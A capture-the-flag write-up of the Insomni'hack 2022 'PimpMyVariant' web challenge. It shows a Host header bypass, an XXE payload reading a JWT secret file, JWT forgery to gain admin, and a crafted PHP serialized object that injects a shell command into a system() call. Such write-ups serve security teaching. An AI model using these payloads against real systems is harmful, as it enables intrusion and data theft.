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Insomni'hack teaser 2022 – PimpMyVariant

Authors

PimpMyVariant

by stygis

Seen as it went, why not guess the next variant name : pimpmyvariant.insomnihack.ch

GET / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: pimpmyvariant.insomnihack.ch


HTTP/1.1 200 OK
Cache-Control: no-transform
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Sun, 30 Jan 2022 02:43:36 GMT
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Server: nginx
Transfer-Encoding: chunked
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>Variants list</h1>

<ul><li>Alpha</li><li>Beta</li><li>Gamma</li><li>Delta</li><li>Omicron</li><li>Lambda</li><li>Epsilon</li><li>Zeta</li><li>Eta</li><li>Theta</li><li>Iota</li></ul>
</body></html>

Through trial and error, robots.txt is found in the root directory, with the following content:

/readme
/new
/log
/flag.txt
/todo.txt

todo.txt has:

test back

flag.txt returns HTTP 403 with:

Try harder

log has:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>Logs</h1>

Access restricted to admin only

readme has:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>Readme</h1>

Hostname not allowed

Request readme with Host: 127.0.0.1 returns:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>Readme</h1>

#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file

new has:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>New variant</h1>

Hostname not autorized

Request new with Host: 127.0.0.1 returns:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>New variant</h1>


<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form">
	Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /><br />
	<input type="submit" name="Bet on this" />
</form>
<script type="text/javascript">
document.getElementById('variant_form').onsubmit = function(){
	var variant_name=document.getElementById('variant_name').value;
	postData('/api', "<?xml version='1.0' encoding='utf-8'?><root><name>"+variant_name+"</name></root>")
		.then(data => {
			window.location.href='/';
		});
	return false;
}

async function postData(url = '', data = {}) {
	return await fetch(url, {
		method: 'POST',
		cache: 'no-cache',
		headers: {
			'Content-Type': 'text/xml'
		},
		redirect: 'manual',
		referrerPolicy: 'no-referrer',
		body: data
	});
}
</script>

</body></html>

From this page, we can get a new endpoint that accepts XML. With the hint where there is a JWT secret at /www/jwt.secret.txt, we can craft an XML External Entity to read the file.

POST /api HTTP/1.1
Content-Type: text/xml
Host: 127.0.0.1
Connection: close
Content-Length: 139

<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///www/jwt.secret.txt"> ]>
<root><name>&xxe;</name></root>


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 30 Jan 2022 02:50:42 GMT
Content-Type: text/xml;charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcIjZjZDQ1YmJkY2M3ZjcwZWVkNjA4OGE3NDUxMTA1MWQxNWZkNmFhNDBcIjt9fSIsImV4cCI6MTY0MzUxMTEwMn0.cpoH8E1zR4HEP3cDfEWH8ceHA1bygf_6iXzzv0OicNA
Location: /
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;

<?xml version="1.0" encoding="utf-8"?>
<root><sucess>Variant name added !</sucess></root>

In the cookie, we can find a JWT token which has the following payload:

{
  "variants": [
    "Alpha",
    "Beta",
    "Gamma",
    "Delta",
    "Omicron",
    "Lambda",
    "Epsilon",
    "Zeta",
    "Eta",
    "Theta",
    "Iota",
    "54b163783c46881f1fe7ee05f90334aa"
  ],
  "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"6cd45bbdcc7f70eed6088a74511051d15fd6aa40\";}}",
  "exp": 1643511102
}

With 54b163783c46881f1fe7ee05f90334aa being the JWT token extracted from the XXE.

However, when trying to include the flag (with /web/flag.txt), we get this instead:

<?xml version="1.0" encoding="utf-8"?>
<root><error>Invalid variant name ! Allowed only ^[A-Za-z0-9 -_]{1,33}$</error></root>

In the "settings" property in the payload, we can see a PHP serialized object of User class with isAdmin set to false.

Updating the properties name to admin and isAdmin to true, we reconstruct a JWT token, and request /log with it. We got the following response from /log:

<html><head>
	<link rel="stylesheet" href="./dark-theme.css">
	<title>PimpMyVariant</title>
</head><body>
	<h1>Logs</h1>

<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
  thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
  thrown in /www/UpdateLogViewer.inc on line 26

</textarea>
</body></html>

Accessing https://pimpmyvariant.insomnihack.ch/UpdateLogViewer.inc, we can see a PHP source file:

<?php

class UpdateLogViewer
{
	public string $packgeName;
	public string $logCmdReader;
	private static ?UpdateLogViewer $singleton = null;

	private function __construct(string $packgeName)
	{
		$this->packgeName = $packgeName;
		$this->logCmdReader = 'cat';
	}

	public static function instance() : UpdateLogViewer
	{
		if( !isset(self::$singleton) || self::$singleton === null ){
			$c = __CLASS__;
			self::$singleton = new $c("$c");
		}
		return self::$singleton;
	}

	public static function read():string
	{
		return system(self::logFile());
	}

	public static function logFile():string
	{
		return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
	}

    public function __wakeup()// serialize
    {
    	self::$singleton = $this;
    }
};

From the source, we can see 2 points that can give us a remote shell:

  1. __wakeup(), which is called when the object is unserialized, sets the unserialize object as the singleton.
  2. system() is used to print the log with logCmdReader modifiable from the serialization.

Making use of this feature, we can craft a PHP serialization string that sets a property of the User object to a UpdateLogViewer object with logCmdReader set to cat flag.txt && echo to execute the command.

"a:1:{i:0;O:4:\"User\":4:{s:4:\"name\";s:5:\"admin\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"6cd45bbdcc7f70eed6088a74511051d15fd6aa40\";s:3:\"ulv\";O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:15:\"UpdateLogViewer\";s:12:\"logCmdReader\";s:20:\"cat flag.txt && echo\";}}}"

Alternatively, we can keep logCmdReader as cat and set packgeName to /../../../web/flag.txt to achieve the same effect.

Fit the crafted PHP serialization string in the "settings" property of the payload, generate a new JWT, and request /log with it. We can then get the flag from the response.

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